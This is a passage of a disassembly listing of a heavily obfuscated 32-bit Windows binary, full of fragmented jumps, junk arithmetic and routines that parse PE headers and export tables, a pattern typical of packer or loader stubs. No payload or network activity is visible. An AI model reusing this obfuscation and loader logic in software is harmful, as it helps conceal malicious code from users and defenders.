--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424EC9 loc_428A28: ; CODE XREF: sub_424EC9:loc_427298j xor eax, 6FC7DEFFh push edi pushf push offset sub_427D6A jmp loc_42797A ; END OF FUNCTION CHUNK FOR sub_424EC9 ; --------------------------------------------------------------------------- loc_428A3A: ; CODE XREF: hjohnhn9:loc_427B88j pop edx sub edx, 0E4E7A73Eh add edx, 9C59D4EBh or edx, 46B6616Ah rol edx, 1Fh add edx, 106308B1h jmp loc_42697C ; --------------------------------------------------------------------------- loc_428A5B: ; CODE XREF: hjohnhn9:00423DA3j jge loc_427C2C push 675F903Ah jmp sub_428162 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B5 loc_428A6C: ; CODE XREF: sub_4266B5:loc_425D55j mov esi, ecx xchg esi, [esp+4+var_4] mov esp, ebp xchg eax, [esp+0] mov ebp, eax pop eax jmp loc_426B04 ; END OF FUNCTION CHUNK FOR sub_4266B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4247F4 loc_428A7E: ; CODE XREF: sub_4247F4+2571j sub esi, 76DE389Ch xor esi, 0DF502266h add esi, ebp add esi, 0E949C2C4h jmp loc_42634A ; END OF FUNCTION CHUNK FOR sub_4247F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428E98 loc_428A97: ; CODE XREF: sub_428E98-1E11j pop esi push offset loc_4276EB jmp loc_424FDE ; END OF FUNCTION CHUNK FOR sub_428E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_428AA2: ; CODE XREF: sub_42304F:loc_424F48j push offset sub_423F65 jmp nullsub_73 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D38 loc_428AAC: ; CODE XREF: sub_424D38+15j call sub_427564 push offset loc_4268D3 jmp loc_423958 ; END OF FUNCTION CHUNK FOR sub_424D38 ; =============== S U B R O U T I N E ======================================= sub_428ABB proc near ; DATA XREF: sub_428D49+11o cmp ds:dword_426E3C, 0 jnz loc_427FBF push offset loc_42805E jmp nullsub_82 sub_428ABB endp ; --------------------------------------------------------------------------- loc_428AD2: ; CODE XREF: hjohnhn9:00426A1Cj popf jmp loc_426491 ; --------------------------------------------------------------------------- loc_428AD8: ; CODE XREF: hjohnhn9:00427770j cmp edx, 0B4BB5C59h jmp loc_4240FF ; --------------------------------------------------------------------------- db 0DAh dword_428AE4 dd 0 ; DATA XREF: sub_4264CF+4r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42392D loc_428AE8: ; CODE XREF: sub_42392D+Cj jmp loc_424E36 ; END OF FUNCTION CHUNK FOR sub_42392D ; --------------------------------------------------------------------------- db 88h, 0F5h, 6Fh dword_428AF0 dd 0 ; DATA XREF: hjohnhn9:004236CDw ; hjohnhn9:004236D2r ... dword_428AF4 dd 93B23775h, 46C51999h ; DATA XREF: sub_427C9B-219Co db 1Bh, 36h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240E6 loc_428AFF: ; CODE XREF: sub_4240E6+14j jmp loc_42744E ; END OF FUNCTION CHUNK FOR sub_4240E6 ; --------------------------------------------------------------------------- dword_428B04 dd 0 ; DATA XREF: sub_426671-657r ; hjohnhn9:0042669Aw ... dword_428B08 dd 0 ; DATA XREF: sub_42855B-5237r ; sub_427C9B-4527w ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428CE7 loc_428B0C: ; CODE XREF: sub_428CE7+15Aj jmp nullsub_121 ; END OF FUNCTION CHUNK FOR sub_428CE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428183 loc_428B11: ; CODE XREF: sub_428183-32CBj jmp loc_42332F ; END OF FUNCTION CHUNK FOR sub_428183 ; --------------------------------------------------------------------------- dw 8362h dword_428B18 dd 0 ; DATA XREF: sub_42362A+Aw ; sub_42363F+2641r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_428B1C: ; CODE XREF: sub_427486+1467j jmp loc_428BC1 ; END OF FUNCTION CHUNK FOR sub_427486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_428B22: ; CODE XREF: sub_427564-2AA0j jmp loc_423A98 ; END OF FUNCTION CHUNK FOR sub_427564 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_428B28 proc near ; CODE XREF: hjohnhn9:0042386Aj ; sub_426354-10D5p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423279 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xchg ecx, [esp-4+arg_0] jmp loc_423279 sub_428B28 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_428B34: ; CODE XREF: sub_425BD2:loc_426EFEj jz loc_4277E8 jmp loc_427028 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- and edx, ebp jmp sub_426D17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_428B46: ; CODE XREF: sub_42325E:loc_426FE4j jnz loc_424E6B loc_428B4C: ; CODE XREF: sub_42325E:loc_427BBDj add esi, 0E8DA9B7Fh add esi, ebp add esi, 0D5210B75h mov esi, [esi] jmp loc_428F20 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_428B61: ; CODE XREF: sub_4262C5-279Dj ; sub_424631:loc_425B0Ej push ecx call sub_428829 loc_428B67: ; CODE XREF: sub_426354-57j ; hjohnhn9:00426512j jmp loc_425C11 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- loc_428B6C: ; CODE XREF: hjohnhn9:004241B9j jmp loc_42671A ; --------------------------------------------------------------------------- loc_428B71: ; DATA XREF: sub_423FB9+Ao mov eax, [eax] cmp dword ptr [eax+3Ch], 0 jz loc_42476D jmp loc_427208 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E4F loc_428B82: ; CODE XREF: sub_424E4F:loc_4265B3j mov [ebp+var_8], eax jmp loc_4244E4 ; END OF FUNCTION CHUNK FOR sub_424E4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_428B8A: ; CODE XREF: sub_424A78+216Bj test byte ptr [ebp-8], 8 push offset sub_42626F jmp nullsub_77 ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- loc_428B98: ; CODE XREF: hjohnhn9:004273E9j not ebp pop edx push 0E1B35378h loc_428BA0: ; CODE XREF: hjohnhn9:loc_427F4Ej push offset sub_426CC8 jmp locret_42664F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423753 loc_428BAA: ; CODE XREF: sub_423753+3ADCj add edx, ecx ; END OF FUNCTION CHUNK FOR sub_423753 ; START OF FUNCTION CHUNK FOR sub_426354 loc_428BAC: ; CODE XREF: sub_423753:loc_425CF5j ; hjohnhn9:00426F39j ... mov eax, [ebp-8] mov ecx, 0Ah cdq idiv ecx push offset sub_425B34 jmp loc_42854C ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_428BC1: ; CODE XREF: sub_427486:loc_428B1Cj rol edx, 17h test edx, 2000000h jmp loc_427292 ; END OF FUNCTION CHUNK FOR sub_427486 ; =============== S U B R O U T I N E ======================================= sub_428BCF proc near ; DATA XREF: sub_425E94+5o var_4 = dword ptr -4 push eax mov eax, [ebp-4] mov eax, [eax+3Ch] cdq add eax, [esp+4+var_4] adc edx, [esp+4] call sub_427994 sub_428BCF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_424631 loc_428BE3: ; CODE XREF: sub_424631+14E3j jmp loc_423B24 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_428BE8: ; CODE XREF: sub_424698:loc_4241A5j sub edi, eax and ecx, ebx jb loc_425C56 jmp loc_4261CF ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_428BF7: ; CODE XREF: sub_423F65:loc_426C64j and eax, ds:4000F6h push offset loc_424056 jmp nullsub_79 ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D0E loc_428C07: ; CODE XREF: sub_428D0E+Bj mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_428EEB mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] add eax, 18h jmp loc_423B92 ; END OF FUNCTION CHUNK FOR sub_428D0E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_428C28: ; CODE XREF: hjohnhn9:00426171j jmp loc_4246ED ; --------------------------------------------------------------------------- loc_428C2D: ; DATA XREF: sub_426671-34FBo push eax pushf push 0C227AD4Bh pop eax jmp loc_425D00 ; --------------------------------------------------------------------------- call sub_4235C9 ; START OF FUNCTION CHUNK FOR sub_426604 loc_428C3F: ; CODE XREF: sub_426604+10j jmp loc_426894 ; END OF FUNCTION CHUNK FOR sub_426604 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_428C44: ; CODE XREF: sub_424631+B51j jmp loc_425235 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_428C49: ; CODE XREF: sub_423B05-C5j jmp loc_425252 ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_428C4E proc near ; CODE XREF: hjohnhn9:00428115j ; sub_42870E+5p ; FUNCTION CHUNK AT 00425EA4 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx pop ebp mov eax, ds:dword_423950 call sub_42859A loc_428C5E: ; CODE XREF: sub_424631-FC5j mov eax, [ebp+8] mov eax, [eax-8] or eax, 8 or eax, 10h mov edx, [ebp+8] mov [edx-8], eax jmp loc_425EA4 sub_428C4E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_428C75: ; CODE XREF: sub_424631-FCBj cmp dword ptr [ebp-10h], 2 jnz loc_426894 jmp loc_4230C9 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_428C84: ; CODE XREF: sub_423BC3:loc_424FE3j mov ebp, eax xchg ebp, [esp-4+arg_0] push 2173D128h xchg ecx, [esp+0] mov eax, ecx pop ecx or eax, ds:4000F0h xor eax, 43105B17h jmp loc_4270E3 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- call sub_427B7A ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_428CAA: ; CODE XREF: sub_425BD2+1C28j jmp loc_426235 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; =============== S U B R O U T I N E ======================================= sub_428CAF proc near ; CODE XREF: sub_4278DC:loc_427A24j ; sub_425BD2:loc_428DA6p ; FUNCTION CHUNK AT 00427048 SIZE 00000018 BYTES xchg ebx, [esp+0] pop ebx mov eax, [ebp-4] mov byte ptr [eax], 0 push 99D469C7h add eax, 7F96339Ah jmp loc_427048 sub_428CAF endp ; =============== S U B R O U T I N E ======================================= sub_428CC9 proc near ; DATA XREF: sub_425E49+7o ; FUNCTION CHUNK AT 00423E25 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425B86 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004288C9 SIZE 0000000B BYTES push eax call sub_4278DC test eax, eax jz loc_42476D jmp loc_4288C9 sub_428CC9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, 3560E78Eh push ebp jmp sub_4248F9 ; =============== S U B R O U T I N E ======================================= sub_428CE7 proc near ; CODE XREF: hjohnhn9:0042331Bj ; sub_4263C7+7p ; FUNCTION CHUNK AT 00428B0C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428E3C SIZE 0000000A BYTES xchg edx, [esp+0] pop edx push eax call sub_42345B jmp loc_428E3C sub_428CE7 endp ; --------------------------------------------------------------------------- push 4F6CFCF7h jmp loc_42430F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F85 loc_428D00: ; CODE XREF: sub_426F85-EA0j mov [ebp-10h], eax mov eax, [ebp-10h] mov eax, [eax+60h] jmp loc_4277CE ; END OF FUNCTION CHUNK FOR sub_426F85 ; =============== S U B R O U T I N E ======================================= sub_428D0E proc near ; CODE XREF: sub_427C53+3j ; FUNCTION CHUNK AT 00423B92 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004277C5 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00428C07 SIZE 00000020 BYTES add esp, 0FFFFFFE4h mov [ebp-8], edx mov [ebp-4], eax xor eax, eax jmp loc_428C07 sub_428D0E endp ; =============== S U B R O U T I N E ======================================= sub_428D1E proc near ; CODE XREF: hjohnhn9:00427A2Bj ; sub_42304F:loc_428079p xchg edi, [esp+0] pop edi mov edx, [ebx+ecx] xor edx, [ebx+ecx+4] call sub_427810 sub_428D1E endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4250C3 loc_428D2E: ; CODE XREF: sub_4250C3+7j jmp loc_428F58 ; END OF FUNCTION CHUNK FOR sub_4250C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D64 loc_428D33: ; CODE XREF: sub_428D64:loc_426A58j mov al, [ebp-0Bh] mov ecx, 8 sub ecx, eax xor eax, eax mov al, [ebp-9] shl eax, cl jmp loc_424286 ; END OF FUNCTION CHUNK FOR sub_428D64 ; =============== S U B R O U T I N E ======================================= sub_428D49 proc near ; CODE XREF: sub_424877:loc_4265EEp ; hjohnhn9:004272DFj xchg eax, [esp+0] pop eax add esp, 0FFFFFFECh mov eax, offset dword_425AEC call sub_427C43 push offset sub_428ABB jmp nullsub_83 sub_428D49 endp ; =============== S U B R O U T I N E ======================================= sub_428D64 proc near ; DATA XREF: sub_4262C5-2E5Ao ; FUNCTION CHUNK AT 00424286 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00426A58 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042876C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00428D33 SIZE 00000016 BYTES mov al, [ebp-0Ah] and al, 7 mov [ebp-0Bh], al xor eax, eax jmp loc_426A58 sub_428D64 endp ; --------------------------------------------------------------------------- add edx, ecx sbb esi, 0BF9BA491h jmp sub_424B30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_428D80: ; CODE XREF: sub_423B05:loc_4263DEj push 0C5B0C62Bh pop eax add eax, 63E2D2B1h sub eax, 0B9943B0h and eax, 4310F3D6h add eax, 0B61FD10Eh jmp loc_4233E1 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- locret_428DA3: ; CODE XREF: hjohnhn9:0042908Ej retn ; --------------------------------------------------------------------------- loc_428DA4: ; CODE XREF: hjohnhn9:00423593j mov [ebx], ebp ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_428DA6: ; CODE XREF: sub_426C09:loc_42361Fj ; hjohnhn9:loc_4251A7j ... call sub_428CAF loc_428DAB: ; CODE XREF: sub_426D02:loc_42326Aj add eax, ebp push ecx push 57FC02BCh pop ecx xor ecx, 297E2B69h rol ecx, 2 jmp loc_425D5B ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- loc_428DC2: ; DATA XREF: sub_4281B9+11o cmp dword ptr [eax-1Ch], 0F6h setz al jmp loc_424EE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_428DD1: ; CODE XREF: sub_424631:loc_4249A3j push offset sub_427D9D jmp nullsub_85 ; END OF FUNCTION CHUNK FOR sub_424631 ; =============== S U B R O U T I N E ======================================= sub_428DDB proc near ; DATA XREF: sub_428271-39Ao ; FUNCTION CHUNK AT 00426A92 SIZE 00000005 BYTES xor edx, edx push edx push eax loc_428DDF: ; CODE XREF: sub_427852:loc_4242E8j mov eax, [ebp-18h] add eax, eax push offset sub_427E54 jmp loc_426A92 sub_428DDB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_428DEE: ; CODE XREF: sub_427486-28Ej jz loc_4288D7 jmp loc_42736F ; END OF FUNCTION CHUNK FOR sub_427486 ; =============== S U B R O U T I N E ======================================= sub_428DF9 proc near ; CODE XREF: sub_4265CD-32E0p ; hjohnhn9:004266EBj arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx xchg edi, [esp-4+arg_0] retn sub_428DF9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428E01 proc near ; CODE XREF: hjohnhn9:00426AB4p push ebp mov ebp, esp push ecx mov esp, ebp sub_428E01 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_424698 loc_428E07: ; CODE XREF: sub_424698:loc_423AD2j jmp loc_424757 ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_428E0C: ; CODE XREF: sub_427C9B:loc_424208j ror eax, 0Fh mov ds:dword_423390, eax retn ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_428E16: ; CODE XREF: sub_424631+30A8j jmp loc_425164 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_428E1B: ; CODE XREF: sub_424698-D98j rol eax, 0Fh push ebp mov ebp, eax push offset loc_428F02 jmp nullsub_87 ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- or edx, ecx jmp sub_423753 ; --------------------------------------------------------------------------- and edx, ebx jmp sub_4240BC ; --------------------------------------------------------------------------- loc_428E39: ; CODE XREF: hjohnhn9:00424DDDj xchg eax, [esp] ; START OF FUNCTION CHUNK FOR sub_428CE7 loc_428E3C: ; CODE XREF: sub_428CE7+Aj push offset sub_424D99 jmp loc_428B0C ; END OF FUNCTION CHUNK FOR sub_428CE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426749 loc_428E46: ; CODE XREF: sub_426749+1j mov ebp, esp add esp, 0FFFFFFECh cmp ds:byte_426E54, 0 jnz loc_423741 lea edx, [ebp-14h] mov eax, offset dword_426E60 jmp loc_4281F8 ; END OF FUNCTION CHUNK FOR sub_426749 ; =============== S U B R O U T I N E ======================================= sub_428E65 proc near ; DATA XREF: sub_4278F6+4o cmp ds:dword_423940, 0 push offset loc_423C44 jmp loc_424918 sub_428E65 endp ; =============== S U B R O U T I N E ======================================= sub_428E76 proc near ; CODE XREF: sub_426A30-213Cp ; hjohnhn9:00427217j xchg edx, [esp+0] pop edx mov ecx, [ebx+ecx+78h] or ecx, ecx jz loc_425B24 mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_425B24 jmp loc_427E4F sub_428E76 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_428E98 proc near ; CODE XREF: sub_428CC9-3FAj ; FUNCTION CHUNK AT 00423E17 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00424FDE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042707F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00428A97 SIZE 0000000B BYTES push ebx jle loc_426FE4 test esi, 0C845AEE7h jmp loc_423E17 sub_428E98 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A28 loc_428EAA: ; CODE XREF: sub_424A28:loc_4284A7j or edx, 0DAC2EAFDh xchg esi, eax and eax, 84FD1F4Dh adc edx, esi jmp sub_42677F ; END OF FUNCTION CHUNK FOR sub_424A28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_428EBF: ; CODE XREF: sub_42325E:loc_4231D4j ; sub_427C9B:loc_4271AEj call sub_424946 locret_428EC4: ; CODE XREF: sub_428DDB:loc_426A92j retn ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- loc_428EC5: ; CODE XREF: hjohnhn9:004245FDj jmp loc_428363 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_428ECB: ; CODE XREF: hjohnhn9:00423C80j jmp locret_4285D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_428ED0: ; CODE XREF: sub_424819:loc_426875j ; hjohnhn9:loc_426889j rol ebx, 14h cmp ebx, 0D223451h jmp loc_423EC7 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_428EDE: ; CODE XREF: sub_426A78:loc_4250D5j xor ecx, edi jmp loc_426573 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E54 loc_428EE5: ; CODE XREF: sub_427E54:loc_423E31j add eax, [ebp-4] mov [ebp-0Ch], eax ; END OF FUNCTION CHUNK FOR sub_427E54 ; START OF FUNCTION CHUNK FOR sub_426F85 loc_428EEB: ; CODE XREF: sub_426F85-EB4j ; sub_426F85+11CDj ... mov eax, [ebp-0Ch] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_426F85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_428EF2: ; CODE XREF: sub_428271:loc_427EC8j ; sub_427852+AD7j inc dword ptr [ebp-18h] jmp loc_425156 ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- rol esi, 4 jmp sub_426AF6 ; --------------------------------------------------------------------------- loc_428F02: ; DATA XREF: sub_424698+4789o xchg ebp, [esp] retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D02 loc_428F06: ; CODE XREF: sub_426D02+10j jmp loc_427458 ; END OF FUNCTION CHUNK FOR sub_426D02 ; =============== S U B R O U T I N E ======================================= sub_428F0B proc near ; CODE XREF: hjohnhn9:loc_426AADp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423598 SIZE 00000010 BYTES push edi mov edi, ebp xchg edi, [esp+4+var_4] jmp loc_423598 sub_428F0B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_428F16: ; CODE XREF: sub_427852-DAAj add eax, [edx+20h] xor edx, edx call sub_428271 ; END OF FUNCTION CHUNK FOR sub_427852 ; START OF FUNCTION CHUNK FOR sub_42325E loc_428F20: ; CODE XREF: sub_42325E+58FEj xor eax, esi push offset sub_42420D jmp nullsub_91 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- loc_428F2C: ; CODE XREF: hjohnhn9:00424BC9j jns loc_423533 and edx, 0B8C2C0D4h jmp loc_42706D ; --------------------------------------------------------------------------- call sub_4262C5 xor eax, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_428F45: ; CODE XREF: sub_42304F+1D45j jmp nullsub_92 ; END OF FUNCTION CHUNK FOR sub_42304F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428F4A proc near ; DATA XREF: sub_425CB3+B09o push edx mov edx, ebp xchg edx, [esp+0] mov ebp, esp push edi jmp loc_4249D7 sub_428F4A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250C3 loc_428F58: ; CODE XREF: sub_4250C3:loc_428D2Ej cmp dword ptr [ebp-4], 0 jz loc_4244EE push offset loc_426255 jmp nullsub_93 ; END OF FUNCTION CHUNK FOR sub_4250C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427F90 loc_428F6C: ; CODE XREF: sub_427F90:loc_4275E4j xor eax, eax mov [ebp+var_8], eax loc_428F71: ; CODE XREF: sub_42486B:loc_42836Dj jnb loc_42849F mov eax, [ebp+var_C] cmp byte ptr [eax], 0 jnz loc_42712D mov eax, [ebp+var_4] mov [ebp+var_C], eax jmp loc_42440F ; END OF FUNCTION CHUNK FOR sub_427F90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C09 loc_428F8E: ; CODE XREF: hjohnhn9:loc_4240FFj ; sub_426C09-D89j jb loc_42654D jg loc_42895C jmp loc_428DA6 ; END OF FUNCTION CHUNK FOR sub_426C09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_428F9F: ; CODE XREF: sub_423BC3+3EC4j adc esi, 0EEB2035Eh xor ecx, 62F29220h rol esi, 0Dh loc_428FAE: ; CODE XREF: sub_423BC3:loc_427A7Ej rol eax, 16h xor eax, 12060420h xchg eax, [esp-8+arg_4] jmp loc_4260F9 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- xor ecx, esi jle loc_428675 jmp loc_423FA6 ; --------------------------------------------------------------------------- loc_428FCC: ; DATA XREF: sub_42790F+8o xchg ecx, [esp] mov edi, ecx pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428FD3 proc near ; CODE XREF: sub_427486:loc_4288D7p push ebp mov ebp, esp jmp sub_426D02 sub_428FD3 endp ; --------------------------------------------------------------------------- loc_428FDB: ; CODE XREF: hjohnhn9:loc_4266B0j inc dword ptr [ebp-0Ch] dec dword ptr [ebp-18h] jnz loc_425BB8 jmp loc_427F64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_428FEC: ; CODE XREF: sub_4278DC:loc_427F70j pop edi push 0FA4754E4h pop eax and eax, ds:4000F1h add eax, 403CEF18h mov eax, [eax] or eax, eax jmp loc_42808F ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_429008: ; CODE XREF: sub_425BD2:loc_425AE1j pushf test ebp, esi jmp loc_424454 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C8 loc_429013: ; CODE XREF: sub_4279C8+Aj jmp locret_426832 ; END OF FUNCTION CHUNK FOR sub_4279C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424946 loc_429018: ; CODE XREF: sub_424946+11j jmp loc_4281EA ; END OF FUNCTION CHUNK FOR sub_424946 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_42901D: ; CODE XREF: sub_427564-3858j jmp loc_42825D ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_429022: ; CODE XREF: sub_424161-CA3j jmp loc_4231F0 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_429027: ; CODE XREF: sub_4236A7:loc_424F57j cmp esi, 0D7B1D993h jmp loc_424BAE ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_429032: ; CODE XREF: sub_4260BD:loc_42873Aj mov edi, esi xchg edi, [esp+0] or esi, eax jmp loc_423BF1 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- loc_42903E: ; DATA XREF: sub_4279C8+5o xchg esi, [esp] mov eax, esi pop esi pop eax push eax push offset sub_423D67 jmp nullsub_94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_429050: ; CODE XREF: sub_427C9B:loc_4271A9j jo loc_427B9C test edx, 606EBC7Dh jmp loc_42858D ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_429061: ; CODE XREF: sub_4287BF:loc_423767j call sub_428436 test al, al jnz loc_4268DB mov eax, [ebp-4] cmp byte ptr [eax], 0E8h jnz loc_42867B mov eax, [ebp-4] inc eax jmp loc_42757E ; END OF FUNCTION CHUNK FOR sub_4287BF ; --------------------------------------------------------------------------- loc_429083: ; CODE XREF: hjohnhn9:0042910Dj or edx, 0F4A62BC0h loc_429089: ; CODE XREF: hjohnhn9:00429101j push offset 